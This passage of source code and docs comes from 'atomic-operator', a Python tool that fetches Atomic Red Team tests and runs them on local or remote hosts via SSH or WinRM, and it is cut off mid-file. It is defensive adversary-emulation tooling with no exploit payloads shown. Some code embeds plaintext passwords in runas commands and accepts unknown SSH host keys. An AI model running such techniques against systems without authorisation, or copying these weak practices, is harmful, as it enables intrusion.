cwd=self.test_path, 95 | elevation_required=self.test.executor.elevation_required, 96 | ) 97 | return_dict.update({"command": response}) 98 | elif Base.CONFIG.check_prereqs or Base.CONFIG.get_prereqs: 99 | if self.test.dependencies: 100 | return_dict.update(self._run_dependencies(host=host, executor=executor)) 101 | elif Runner.CONFIG.cleanup and self.test.executor.cleanup_command: 102 | self.__logger.debug("Running cleanup command") 103 | cleanup_response = self.execute_process( 104 | command=self.test.executor.cleanup_command, executor=executor, host=host, cwd=self.test_path 105 | ) 106 | return_dict.update({"cleanup": cleanup_response}) 107 | return {host_name: return_dict} 108 | 109 | @abc.abstractmethod 110 | def start(self): 111 | raise NotImplementedError 112 | 113 | @abc.abstractmethod 114 | def execute_process(self, command, executor=None, host=None, cwd=None, elevation_required=False): 115 | raise NotImplementedError 116 | -------------------------------------------------------------------------------- /atomic_operator/execution/remoterunner.py: -------------------------------------------------------------------------------- 1 | from paramiko.ssh_exception import ( 2 | AuthenticationException, 3 | BadAuthenticationType, 4 | NoValidConnectionsError, 5 | PasswordRequiredException, 6 | ) 7 | from pypsrp.exceptions import AuthenticationError, WinRMTransportError, WSManFaultError 8 | from requests.exceptions import RequestException 9 | 10 | from .runner import Runner 11 | from .statemachine import CreationState 12 | 13 | 14 | class RemoteRunner(Runner): 15 | def __init__(self, atomic_test, test_path): 16 | """A single AtomicTest object is provided and ran on the local system 17 | 18 | Args: 19 | atomic_test (AtomicTest): A single AtomicTest object. 20 | test_path (Atomic): A path where the AtomicTest object resides 21 | """ 22 | self.test = atomic_test 23 | self.test_path = test_path 24 | 25 | def execute_process(self, command, executor=None, host=None, cwd=None, elevation_required=False): 26 | """Main method to execute commands using state machine 27 | 28 | Args: 29 | command (str): The command to run remotely on the desired systems 30 | executor (str): An executor that can be passed to state machine. Defaults to None. 31 | host (str): A host to run remote commands on. Defaults to None. 32 | """ 33 | self.state = CreationState() 34 | final_state = None 35 | try: 36 | finished = False 37 | while not finished: 38 | if str(self.state) == "CreationState": 39 | self.__logger.debug("Running CreationState on_event") 40 | self.state = self.state.on_event(executor, command) 41 | if str(self.state) == "InnvocationState": 42 | self.__logger.debug("Running InnvocationState on_event") 43 | self.state = self.state.invoke( 44 | host, 45 | executor, 46 | command, 47 | input_arguments=self.test.input_arguments, 48 | elevation_required=elevation_required, 49 | ) 50 | if str(self.state) == "ParseResultsState": 51 | self.__logger.debug("Running ParseResultsState on_event") 52 | final_state = self.state.on_event() 53 | self.__logger.info(final_state) 54 | finished = True 55 | except NoValidConnectionsError as ec: 56 | error_string = f"SSH Error - Unable to connect to {host.hostname} - Received {type(ec).__name__}" 57 | self.__logger.debug(f"Full stack trace: {ec}") 58 | self.__logger.warning(error_string) 59 | return {"error": error_string} 60 | except AuthenticationException as ea: 61 | error_string = ( 62 | f"SSH Error - Unable to authenticate to host - {host.hostname} - Received {type(ea).__name__}" 63 | ) 64 | self.__logger.debug(f"Full stack trace: {ea}") 65 | self.__logger.warning(error_string) 66 | return {"error": error_string} 67 | except BadAuthenticationType as eb: 68 | error_string = f"SSH Error - Unable to use provided authentication type to host - {host.hostname} - Received {type(eb).__name__}" 69 | self.__logger.debug(f"Full stack trace: {eb}") 70 | self.__logger.warning(error_string) 71 | return {"error": error_string} 72 | except PasswordRequiredException as ep: 73 | error_string = f"SSH Error - Must provide a password to authenticate to host - {host.hostname} - Received {type(ep).__name__}" 74 | self.__logger.debug(f"Full stack trace: {ep}") 75 | self.__logger.warning(error_string) 76 | return {"error": error_string} 77 | except AuthenticationError as ewa: 78 | error_string = ( 79 | f"Windows Error - Unable to authenticate to host - {host.hostname} - Received {type(ewa).__name__}" 80 | ) 81 | self.__logger.debug(f"Full stack trace: {ewa}") 82 | self.__logger.warning(error_string) 83 | return {"error": error_string} 84 | except WinRMTransportError as ewt: 85 | error_string = f"Windows Error - Error occurred during transport on host - {host.hostname} - Received {type(ewt).__name__}" 86 | self.__logger.debug(f"Full stack trace: {ewt}") 87 | self.__logger.warning(error_string) 88 | return {"error": error_string} 89 | except WSManFaultError as ewf: 90 | error_string = f"Windows Error - Received WSManFault information from host - {host.hostname} - Received {type(ewf).__name__}" 91 | self.__logger.debug(f"Full stack trace: {ewf}") 92 | self.__logger.warning(error_string) 93 | return {"error": error_string} 94 | except RequestException as re: 95 | error_string = f"Request Exception - Connection Error to the configured host - {host.hostname} - Received {type(re).__name__}" 96 | self.__logger.debug(f"Full stack trace: {re}") 97 | self.__logger.warning(error_string) 98 | return {"error": error_string} 99 | except Exception as ex: 100 | error_string = ( 101 | f"Uknown Error - Received an unknown error from host - {host.hostname} - Received {type(ex).__name__}" 102 | ) 103 | self.__logger.debug(f"Full stack trace: {ex}") 104 | self.__logger.warning(error_string) 105 | return {"error": error_string} 106 | return final_state 107 | 108 | def start(self, host=None, executor=None): 109 | """The main method which runs a single AtomicTest object remotely on one remote host.""" 110 | return self.execute(host_name=host.hostname, executor=executor, host=host) 111 | -------------------------------------------------------------------------------- /docs/atomic-operator.md: -------------------------------------------------------------------------------- 1 | # Atomic Operator 2 | 3 | `atomic-operator` can be used on the command line or via your own scripts. This page shows how the options available within `atomic-operator`. 4 | 5 | ## Command Line 6 | 7 | You can access the general help for `atomic-operator` by simplying typing the following in your shell. 8 | 9 | ``` 10 | atomic-operator 11 | ``` 12 | 13 | ### Retrieving Atomic Tests 14 | 15 | In order to use `atomic-operator` you must have one or more [atomic-red-team](https://github.com/redcanaryco/atomic-red-team) tests (Atomics) on your local system. `atomic-operator` provides you with the ability to download the Atomic Red Team repository. You can do so by running the following at the command line: 16 | 17 | ```bash 18 | atomic-operator get_atomics 19 | # You can specify the destination directory by using the --destination flag 20 | atomic-operator get_atomics --destination "/tmp/some_directory" 21 | ``` 22 | 23 | ### Running Tests 24 | 25 | In order to run a test you must provide some additional properties (and options if desired). The main method to run tests is named `run`. 26 | 27 | ```bash 28 | # This will run ALL tests compatiable with your local operating system 29 | atomic-operator run --atomics-path "/tmp/some_directory/redcanaryco-atomic-red-team-3700624" 30 | ``` 31 | 32 | The `run` command has several mandatory and optional parameters that can be used. You can see these by running the help for this command: 33 | 34 | ```bash 35 | atomic-operator run --help 36 | ``` 37 | 38 | It will return the following: 39 | 40 | ```text 41 | NAME 42 | atomic-operator run - The main method in which we run Atomic Red Team tests. 43 | 44 | SYNOPSIS 45 | atomic-operator run 46 | 47 | DESCRIPTION 48 | config_file definition: 49 | atomic-operator's run method can be supplied with a path to a configuration file (config_file) which defines 50 | specific tests and/or values for input parameters to facilitate automation of said tests. 51 | An example of this config_file can be seen below: 52 | 53 | inventory: 54 | windows1: 55 | executor: powershell # or cmd 56 | input: 57 | username: username 58 | password: some_passowrd! 59 | verify_ssl: false 60 | hosts: 61 | - 192.168.1.1 62 | - 10.32.1.1 63 | # etc 64 | linux1: 65 | executor: ssh 66 | authentication: 67 | username: username 68 | password: some_passowrd! 69 | #ssk_key_path: 70 | port: 22 71 | timeout: 5 72 | hosts: 73 | - 192.168.1.1 74 | - 10.32.100.1 75 | # etc. 76 | atomic_tests: 77 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 78 | input_arguments: 79 | output_file: 80 | value: custom_output.txt 81 | input_file: 82 | value: custom_input.txt 83 | inventories: 84 | - windows1 85 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 86 | input_arguments: 87 | second_arg: 88 | value: SWAPPPED argument 89 | inventories: 90 | - windows1 91 | - linux1 92 | - guid: 32f90516-4bc9-43bd-b18d-2cbe0b7ca9b2 93 | inventories: 94 | - linux1 95 | 96 | FLAGS 97 | --techniques=TECHNIQUES 98 | One or more defined techniques by attack_technique ID. Defaults to 'All'. 99 | --test_guids=TEST_GUIDS 100 | One or more Atomic test GUIDs. Defaults to None. 101 | --atomics_path=ATOMICS_PATH 102 | The path of Atomic tests. Defaults to os.getcwd(). 103 | --check_dependencies=CHECK_DEPENDENCIES 104 | Whether or not to check for dependencies. Defaults to False. 105 | --get_prereqs=GET_PREREQS 106 | Whether or not you want to retrieve prerequisites. Defaults to False. 107 | --cleanup=CLEANUP 108 | Whether or not you want to run cleanup command(s). Defaults to False. 109 | --command_timeout=COMMAND_TIMEOUT 110 | Timeout duration for each command. Defaults to 20. 111 | --debug=DEBUG 112 | Whether or not you want to output details about tests being ran. Defaults to False. 113 | --prompt_for_input_args=PROMPT_FOR_INPUT_ARGS 114 | Whether you want to prompt for input arguments for each test. Defaults to False. 115 | --config_file=CONFIG_FILE 116 | A path to a conifg_file which is used to automate atomic-operator in environments. Default to None. 117 | Additional flags are accepted. 118 | If provided, keys matching inputs for a test will be replaced. Default is None. 119 | ``` 120 | 121 | ### Running atomic-operator using a config_file 122 | 123 | In addition to the ability to pass in parameters with `atomic-operator` you can also pass in a path to a `config_file` that contains all the atomic tests and their potential inputs. You can find more information about the [Configuration File here](atomic-operator-config.md) 124 | 125 | ## Package 126 | 127 | In additional to using `atomic-operator` on the command line you can import it into your own scripts/code and build further automation as needed. 128 | 129 | ```python 130 | from atomic_operator import AtomicOperator 131 | 132 | operator = AtomicOperator() 133 | 134 | # This will download a local copy of the atomic-red-team repository 135 | 136 | print(operator.get_atomics('/tmp/some_directory')) 137 | 138 | # this will run tests on your local system 139 | operator.run( 140 | technique: str='All', 141 | test_guids: list=[], 142 | atomics_path=os.getcwd(), 143 | check_dependencies=False, 144 | get_prereqs=False, 145 | cleanup=False, 146 | command_timeout=20, 147 | debug=False, 148 | prompt_for_input_args=False, 149 | config_file="some_path.yaml" 150 | **kwargs 151 | ) 152 | ``` 153 | -------------------------------------------------------------------------------- /docs/atomic-operator-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | atomic-operator-logo 4 | Created by Josh Rickard 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /images/atomic-operator-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | atomic-operator-logo 4 | Created by Josh Rickard 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /atomic_operator/base.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | import os 3 | import platform 4 | import sys 5 | import zipfile 6 | from io import BytesIO 7 | from typing import AnyStr 8 | 9 | import requests 10 | from pick import pick 11 | 12 | from .utils.logger import LoggingBase 13 | 14 | 15 | class Base(metaclass=LoggingBase): 16 | CONFIG = None 17 | ATOMIC_RED_TEAM_REPO = "https://github.com/redcanaryco/atomic-red-team/zipball/master/" 18 | SUPPORTED_PLATFORMS = ["windows", "linux", "macos", "aws"] 19 | command_map = { 20 | "command_prompt": { 21 | "windows": "C:\\Windows\\System32\\cmd.exe", 22 | "linux": "/bin/sh", 23 | "macos": "/bin/sh", 24 | "default": "/bin/sh", 25 | }, 26 | "powershell": {"windows": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"}, 27 | "sh": {"linux": "/bin/sh", "macos": "/bin/sh"}, 28 | "bash": {"linux": "/bin/bash", "macos": "/bin/bash"}, 29 | } 30 | VARIABLE_REPLACEMENTS = {"powershell": {"%temp%": "$env:TEMP"}} 31 | _replacement_strings = ["#{{{0}}}", "${{{0}}}"] 32 | 33 | def download_atomic_red_team_repo(self, save_path, **kwargs) -> str: 34 | """Downloads the Atomic Red Team repository from github 35 | 36 | Args: 37 | save_path (str): The path to save the downloaded and extracted ZIP contents 38 | 39 | Returns: 40 | str: A string of the location the data was saved to. 41 | """ 42 | response = requests.get(Base.ATOMIC_RED_TEAM_REPO, stream=True, **kwargs) 43 | z = zipfile.ZipFile(BytesIO(response.content)) 44 | with zipfile.ZipFile(BytesIO(response.content)) as zf: 45 | for member in zf.infolist(): 46 | file_path = os.path.realpath(os.path.join(save_path, member.filename)) 47 | if file_path.startswith(os.path.realpath(save_path)): 48 | zf.extract(member, save_path) 49 | return z.namelist()[0] 50 | 51 | def get_local_system_platform(self) -> str: 52 | """Identifies the local systems operating system platform 53 | 54 | Returns: 55 | str: The current/local systems operating system platform 56 | """ 57 | os_name = platform.system().lower() 58 | if os_name == "darwin": 59 | return "macos" 60 | return os_name 61 | 62 | def get_abs_path(self, value) -> str: 63 | """Formats and returns the absolute path for a path value 64 | 65 | Args: 66 | value (str): A path string in many different accepted formats 67 | 68 | Returns: 69 | str: The absolute path of the provided string 70 | """ 71 | return os.path.abspath(os.path.expanduser(os.path.expandvars(value))) 72 | 73 | def prompt_user_for_input(self, title, input_object): 74 | """Prompts user for input values based on the provided values.""" 75 | print( 76 | f""" 77 | Inputs for {title}: 78 | Input Name: {input_object.name} 79 | Default: {input_object.default} 80 | Description: {input_object.description} 81 | """ 82 | ) 83 | print( 84 | f"Please provide a value for {input_object.name} (If blank, default is used):", 85 | ) 86 | value = sys.stdin.readline() 87 | if bool(value): 88 | return value 89 | return input_object.default 90 | 91 | def parse_input_lists(self, value): 92 | value_list = None 93 | if not isinstance(value, list): 94 | value_list = set([t.strip() for t in value.split(",")]) 95 | else: 96 | value_list = set(value) 97 | return list(value_list) 98 | 99 | def _path_replacement(self, string, path): 100 | try: 101 | string = string.replace("$PathToAtomicsFolder", path) 102 | except: 103 | pass 104 | try: 105 | string = string.replace("PathToAtomicsFolder", path) 106 | except: 107 | pass 108 | return string 109 | 110 | def _replace_command_string(self, command: str, path: str, input_arguments: list = [], executor=None): 111 | if command: 112 | command = self._path_replacement(command, path) 113 | if input_arguments: 114 | for input in input_arguments: 115 | for string in self._replacement_strings: 116 | try: 117 | command = command.replace(str(string.format(input.name)), str(input.value)) 118 | except: 119 | # catching errors since some inputs are actually integers but defined as strings 120 | pass 121 | if executor and self.VARIABLE_REPLACEMENTS.get(executor): 122 | for key, val in self.VARIABLE_REPLACEMENTS[executor].items(): 123 | try: 124 | command = command.replace(key, val) 125 | except: 126 | pass 127 | return self._path_replacement(command, path) 128 | 129 | def _check_if_aws(self, test): 130 | if "iaas:aws" in test.supported_platforms and self.get_local_system_platform() in ["macos", "linux"]: 131 | return True 132 | return False 133 | 134 | def _check_platform(self, test, show_output=False) -> bool: 135 | if self._check_if_aws(test): 136 | return True 137 | if test.supported_platforms and self.get_local_system_platform() not in test.supported_platforms: 138 | self.__logger.info( 139 | f"You provided a test ({test.auto_generated_guid}) '{test.name}' which is not supported on this platform. Skipping..." 140 | ) 141 | return False 142 | return True 143 | 144 | def _set_input_arguments(self, test, **kwargs): 145 | if test.input_arguments: 146 | if kwargs: 147 | for input in test.input_arguments: 148 | for key, val in kwargs.items(): 149 | if input.name == key: 150 | input.value = val 151 | if Base.CONFIG.prompt_for_input_args: 152 | for input in test.input_arguments: 153 | input.value = self.prompt_user_for_input(test.name, input) 154 | for key, val in self.VARIABLE_REPLACEMENTS.items(): 155 | if test.executor.name == key: 156 | for k, v in val.items(): 157 | for input in test.input_arguments: 158 | if k in input.default: 159 | input.value = input.default.replace(k, v) 160 | for input in test.input_arguments: 161 | if input.value == None: 162 | input.value = input.default 163 | 164 | def select_atomic_tests(self, technique): 165 | options = None 166 | test_list = [] 167 | for test in technique.atomic_tests: 168 | test_list.append(test) 169 | if test_list: 170 | options = pick( 171 | test_list, 172 | title=f"Select Test(s) for Technique {technique.attack_technique} ({technique.display_name})", 173 | multiselect=True, 174 | options_map_func=self.format_pick_options, 175 | ) 176 | return [i[0] for i in options] if options else [] 177 | 178 | def format_pick_options(self, option): 179 | return f"{option.name} ({option.auto_generated_guid})" 180 | 181 | def log(self, message: AnyStr, level: AnyStr = "info") -> None: 182 | """Used to centralize logging across components. 183 | 184 | We identify the source of the logging class by inspecting the calling stack. 185 | 186 | Args: 187 | message (AnyStr): The log value string to output. 188 | level (AnyStr): The log level. Defaults to "info". 189 | """ 190 | component = None 191 | parent = inspect.stack()[1][0].f_locals.get("self", None) 192 | component = parent.__class__.__name__ 193 | try: 194 | getattr(getattr(parent, f"_{component}__logger"), level)(message) 195 | except AttributeError as ae: 196 | getattr(self.__logger, level)(message + ae) 197 | -------------------------------------------------------------------------------- /atomic_operator/execution/statemachine.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | 4 | from pypsrp.client import Client 5 | 6 | from ..base import Base 7 | from .copier import Copier 8 | from .runner import Runner 9 | 10 | 11 | # This is used to bypass some urllib3 error messages within that package 12 | class SuppressFilter(logging.Filter): 13 | def filter(self, record): 14 | return "wsman" not in record.getMessage() 15 | 16 | 17 | try: 18 | from urllib3.connectionpool import log 19 | 20 | log.addFilter(SuppressFilter()) 21 | except: 22 | pass 23 | 24 | 25 | class State: 26 | """ 27 | We define a state object which provides some utility functions for the 28 | individual states within the state machine. 29 | """ 30 | 31 | @classmethod 32 | def get_remote_executor(cls, executor): 33 | if executor == "command_prompt": 34 | return "cmd" 35 | elif executor == "powershell": 36 | return "powershell" 37 | elif executor == "sh": 38 | return "ssh" 39 | elif executor == "bash": 40 | return "ssh" 41 | elif executor == "manual": 42 | return None 43 | else: 44 | return executor 45 | 46 | def on_event(self, event): 47 | """ 48 | Handle events that are delegated to this State. 49 | """ 50 | pass 51 | 52 | def __repr__(self): 53 | """ 54 | Leverages the __str__ method to describe the State. 55 | """ 56 | return self.__str__() 57 | 58 | def __str__(self): 59 | """ 60 | Returns the name of the State. 61 | """ 62 | return self.__class__.__name__ 63 | 64 | 65 | class CreationState(State): 66 | """ 67 | The state which is used to modify commands 68 | """ 69 | 70 | def powershell(self, event): 71 | command = None 72 | if event: 73 | if "\n" in event or "\r" in event: 74 | if "\n" in event: 75 | command = event.replace("\n", "; ") 76 | if "\r" in event: 77 | if command: 78 | command = command.replace("\r", "; ") 79 | else: 80 | command = event.replace("\r", "; ") 81 | return InnvocationState() 82 | 83 | def cmd(self): 84 | return InnvocationState() 85 | 86 | def ssh(self): 87 | return InnvocationState() 88 | 89 | def on_event(self, command_type, command): 90 | if command_type == "powershell": 91 | return self.powershell(command) 92 | elif command_type == "cmd": 93 | return self.cmd() 94 | elif command_type == "ssh": 95 | return self.ssh() 96 | elif command_type == "sh": 97 | return self.ssh() 98 | elif command_type == "bash": 99 | return self.ssh() 100 | return self 101 | 102 | 103 | class InnvocationState(State, Base): 104 | """ 105 | The state which indicates the invocation of a command 106 | """ 107 | 108 | __win_client = None 109 | 110 | def __handle_windows_errors(self, stream): 111 | return_list = [] 112 | for item in stream.error: 113 | return_list.append({"type": "error", "value": str(item)}) 114 | for item in stream.debug: 115 | return_list.append({"type": "debug", "value": str(item)}) 116 | for item in stream.information: 117 | return_list.append({"type": "information", "value": str(item)}) 118 | for item in stream.verbose: 119 | return_list.append({"type": "verbose", "value": str(item)}) 120 | for item in stream.warning: 121 | return_list.append({"type": "warning", "value": str(item)}) 122 | return return_list 123 | 124 | def __create_win_client(self, hostinfo): 125 | self.__win_client = Client( 126 | hostinfo.hostname, username=hostinfo.username, password=hostinfo.password, ssl=hostinfo.verify_ssl 127 | ) 128 | 129 | def __invoke_cmd(self, command, input_arguments=None, elevation_required=False): 130 | if not self.__win_client: 131 | self.__create_win_client(self.hostinfo) 132 | # TODO: NEED TO ADD LOGIC TO TRANSFER FILES TO WINDOWS SYSTEMS USING CMD 133 | Copier(windows_client=self.__win_client, elevation_required=elevation_required).copy(input_arguments) 134 | command = self._replace_command_string( 135 | command, path="c:/temp", input_arguments=input_arguments, executor="command_prompt" 136 | ) 137 | if elevation_required: 138 | command = f"runas /user:{self.hostinfo.username}:{self.hostinfo.password} cmd.exe; {command}" 139 | # TODO: NEED TO ADD LOGIC TO TRANSFER FILES TO WINDOWS SYSTEMS USING CMD 140 | stdout, stderr, rc = self.__win_client.execute_cmd(command) 141 | # NOTE: rc (return code of process) should equal 0 but we are not adding logic here this is handled int he ParseResultsState class 142 | if stderr: 143 | self.__logger.error( 144 | "{host} responded with the following message(s): {message}".format( 145 | host=self.hostinfo.hostname, message=stderr 146 | ) 147 | ) 148 | return ParseResultsState(command=command, return_code=rc, output=stdout, error=stderr) 149 | 150 | def join_path_regardless_of_separators(self, *paths): 151 | return os.path.sep.join(path.rstrip(r"\/") for path in paths) 152 | 153 | def __invoke_powershell(self, command, input_arguments=None, elevation_required=False): 154 | if not self.__win_client: 155 | self.__create_win_client(self.hostinfo) 156 | 157 | # TODO: NEED TO ADD LOGIC TO TRANSFER FILES TO WINDOWS SYSTEMS USING POWERSHELL 158 | Copier(windows_client=self.__win_client, elevation_required=elevation_required).copy( 159 | input_arguments=input_arguments 160 | ) 161 | command = self._replace_command_string( 162 | command, path="c:/temp", input_arguments=input_arguments, executor="powershell" 163 | ) 164 | # TODO: NEED TO ADD LOGIC TO TRANSFER FILES TO WINDOWS SYSTEMS USING POWERSHELL 165 | if elevation_required: 166 | command = f"Start-Process PowerShell -Verb RunAs; {command}" 167 | output, streams, had_errors = self.__win_client.execute_ps(command) 168 | if not output: 169 | output = self.__handle_windows_errors(streams) 170 | if had_errors: 171 | self.__logger.error( 172 | "{host} responded with the following message(s): {message}".format( 173 | host=self.hostinfo.hostname, message=self.__handle_windows_errors(streams) 174 | ) 175 | ) 176 | return ParseResultsState( 177 | command=command, return_code=had_errors, output=output, error=self.__handle_windows_errors(streams) 178 | ) 179 | 180 | def __invoke_ssh(self, command, input_arguments=None, elevation_required=False): 181 | import paramiko 182 | 183 | ssh = paramiko.SSHClient() 184 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 185 | if self.hostinfo.ssh_key_path: 186 | ssh.connect( 187 | self.hostinfo.hostname, 188 | port=self.hostinfo.port, 189 | username=self.hostinfo.username, 190 | key_filename=self.hostinfo.ssh_key_path, 191 | ) 192 | elif self.hostinfo.private_key_string: 193 | ssh.connect( 194 | self.hostinfo.hostname, 195 | port=self.hostinfo.port, 196 | username=self.hostinfo.username, 197 | pkey=self.hostinfo.private_key_string, 198 | ) 199 | elif self.hostinfo.password: 200 | ssh.connect( 201 | self.hostinfo.hostname, 202 | port=self.hostinfo.port, 203 | username=self.hostinfo.username, 204 | password=self.hostinfo.password, 205 | timeout=self.hostinfo.timeout, 206 | ) 207 | else: 208 | raise AttributeError("Please provide either a ssh_key_path or a password") 209 | out = None 210 | from .base import Base 211 | 212 | base = Base() 213 | 214 | Copier(ssh_client=ssh, elevation_required=elevation_required).copy(input_arguments=input_arguments) 215 | 216 | command = base._replace_command_string(command=command, path="/tmp", input_arguments=input_arguments) 217 | if elevation_required: 218 | command = f"sudo {command}" 219 | try: 220 | import shlex 221 | 222 | ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(shlex.quote(command)) 223 | except Exception as e: 224 | self.__logger.debug(f"Error executing command using shlex: {e}") 225 | ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(command) 226 | return_code = ssh_stdout.channel.recv_exit_status() 227 | out = ssh_stdout.read() 228 | err = ssh_stderr.read() 229 | ssh_stdin.flush() 230 | ssh.close() 231 | return ParseResultsState(command=command, return_code=return_code, output=out, error=err) 232 | 233 | def invoke(self, hostinfo, command_type, command, input_arguments=None, elevation_required=False): 234 | self.hostinfo = hostinfo 235 | command_type = self.get_remote_executor(command_type) 236 | result = None 237 | if command_type == "powershell": 238 | result = self.__invoke_powershell( 239 | command, input_arguments=input_arguments, elevation_required=elevation_required 240 | ) 241 | elif command_type == "cmd": 242 | result = self.__invoke_cmd(command, input_arguments=input_arguments, elevation_required=elevation_required) 243 | elif command_type == "ssh": 244 | result = self.__invoke_ssh(command, input_arguments=input_arguments, elevation_required=elevation_required) 245 | return result 246 | 247 | 248 | class ParseResultsState(State, Runner): 249 | """ 250 | The state which is used to parse the results 251 | """ 252 | 253 | def __init__(self, command=None, return_code=None, output=None, error=None): 254 | self.result = {} 255 | self.print_process_output(command=command, return_code=return_code, output=output, errors=error) 256 | if output: 257 | self.result.update({"output": self.__parse(output)}) 258 | if error: 259 | self.result.update({"error": self.__parse(error)}) 260 | 261 | def __parse(self, results): 262 | if isinstance(results, bytes): 263 | results = results.decode("utf-8").strip() 264 | return results 265 | 266 | def on_event(self): 267 | return self.result 268 | -------------------------------------------------------------------------------- /atomic_operator/configparser.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from .atomic.loader import Loader 4 | from .base import Base 5 | from .models import Host 6 | from .utils.exceptions import MalformedFile 7 | 8 | 9 | class ConfigParser(Base): 10 | def __init__( 11 | self, 12 | config_file=None, 13 | techniques=None, 14 | test_guids=None, 15 | host_list=None, 16 | username=None, 17 | password=None, 18 | ssh_key_path=None, 19 | private_key_string=None, 20 | verify_ssl=False, 21 | ssh_port=22, 22 | ssh_timeout=5, 23 | select_tests=False, 24 | ): 25 | """Parses a provided config file as well as parameters to build a run list 26 | 27 | This list combines Atomics and potentially filters 28 | tests defined within that Atomic object based on passed 29 | in parameters and config_file. 30 | 31 | Additionally, a list of Host objects are added to their 32 | defined techniques or test_guids based on config and/or 33 | passed in parameters. 34 | 35 | Example: Example structure returned from provided values 36 | [ 37 | Atomic( 38 | attack_technique='T1016', 39 | display_name='System Network Configuration Discovery', 40 | path='/Users/josh.rickard/_Swimlane2/atomic-operator/redcanaryco-atomic-red-team-22dd2fb/atomics/T1016', 41 | atomic_tests=[ 42 | AtomicTest( 43 | name='System Network Configuration Discovery', 44 | description='Identify network configuration information.\n\nUpon successful execution, ...', 45 | supported_platforms=['macos', 'linux'], 46 | auto_generated_guid='c141bbdb-7fca-4254-9fd6-f47e79447e17', 47 | executor=AtomicExecutor( 48 | name='sh', 49 | command='if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from ....', 50 | cleanup_command=None, 51 | elevation_required=False, steps=None 52 | ), 53 | input_arguments=None, 54 | dependency_executor_name=None, 55 | dependencies=[] 56 | ) 57 | ], 58 | hosts=[ 59 | Host( 60 | hostname='192.168.1.1', 61 | username='username', 62 | password='some_passowrd!', 63 | verify_ssl=False, 64 | ssh_key_path=None, 65 | private_key_string=None, 66 | port=22, 67 | timeout=5 68 | ) 69 | ], 70 | supporting_files=[ 71 | 'redcanaryco-atomic-red-team-22dd2fb/atomics/T1016/src/top-128.txt', 72 | 'redcanaryco-atomic-red-team-22dd2fb/atomics/T1016/src/qakbot.bat' 73 | ] 74 | ) 75 | ] 76 | """ 77 | self._all_loaded_techniques = Loader().load_techniques() 78 | self.__config_file = self.__load_config(config_file) 79 | self.techniques = techniques 80 | self.test_guids = test_guids 81 | self.select_tests = select_tests 82 | self.__host_list = [] 83 | if host_list: 84 | for host in self.parse_input_lists(host_list): 85 | self.__host_list.append( 86 | self.__create_remote_host_object( 87 | hostname=host, 88 | username=username, 89 | password=password, 90 | ssh_key_path=ssh_key_path, 91 | private_key_string=private_key_string, 92 | verify_ssl=verify_ssl, 93 | ssh_port=ssh_port, 94 | ssh_timeout=ssh_timeout, 95 | ) 96 | ) 97 | 98 | def __load_config(self, config_file): 99 | if config_file and self.get_abs_path(config_file): 100 | config_file = self.get_abs_path(config_file) 101 | if not os.path.exists(config_file): 102 | raise FileNotFoundError("Please provide a config_file path that exists") 103 | from .atomic.loader import Loader 104 | 105 | config = Loader().load_technique(config_file) 106 | if not config.get("atomic_tests") and not isinstance(config, list): 107 | raise MalformedFile("Please provide one or more atomic_tests within your config_file") 108 | return config 109 | return {} 110 | 111 | def __parse_hosts(self, inventory): 112 | host_list = [] 113 | for host in inventory.get("hosts"): 114 | inputs = inventory["authentication"] 115 | host_list.append( 116 | self.__create_remote_host_object( 117 | hostname=host, 118 | username=inputs["username"] if inputs.get("username") else None, 119 | password=inputs["password"] if inputs.get("password") else None, 120 | ssh_key_path=inputs["ssh_key_path"] if inputs.get("ssh_key_path") else None, 121 | private_key_string=inputs["private_key_string"] if inputs.get("private_key_string") else None, 122 | verify_ssl=inputs["verify_ssl"] if inputs.get("verify_ssl") else False, 123 | ssh_port=inputs["port"] if inputs.get("port") else 22, 124 | ssh_timeout=inputs["timeout"] if inputs.get("timeout") else 5, 125 | ) 126 | ) 127 | return host_list 128 | 129 | def __create_remote_host_object( 130 | self, 131 | hostname=None, 132 | username=None, 133 | password=None, 134 | ssh_key_path=None, 135 | private_key_string=None, 136 | verify_ssl=False, 137 | ssh_port=22, 138 | ssh_timeout=5, 139 | ): 140 | return Host( 141 | hostname=hostname, 142 | username=username, 143 | password=password, 144 | ssh_key_path=ssh_key_path, 145 | private_key_string=private_key_string, 146 | verify_ssl=verify_ssl, 147 | port=ssh_port, 148 | timeout=ssh_timeout, 149 | ) 150 | 151 | def __parse_test_guids(self, _config_file): 152 | test_dict = {} 153 | return_list = [] 154 | if _config_file: 155 | for item in _config_file["atomic_tests"]: 156 | if item.get("guid"): 157 | if item["guid"] not in test_dict: 158 | test_dict[item["guid"]] = [] 159 | if item.get("inventories") and _config_file.get("inventory"): 160 | # process inventories to run commands remotely 161 | for inventory in item["inventories"]: 162 | if _config_file["inventory"].get(inventory): 163 | test_dict[item["guid"]] = self.__parse_hosts(_config_file["inventory"][inventory]) 164 | if test_dict: 165 | for key, val in test_dict.items(): 166 | for item in self.__build_run_list(test_guids=[key], host_list=val): 167 | return_list.append(item) 168 | return return_list 169 | 170 | def __build_run_list(self, techniques=None, test_guids=None, host_list=None, select_tests=False): 171 | __run_list = [] 172 | if test_guids: 173 | for key, val in self._all_loaded_techniques.items(): 174 | test_list = [] 175 | for test in val.atomic_tests: 176 | if test.auto_generated_guid in test_guids: 177 | test_list.append(test) 178 | if test_list: 179 | temp = self._all_loaded_techniques[key] 180 | temp.atomic_tests = test_list 181 | temp.hosts = 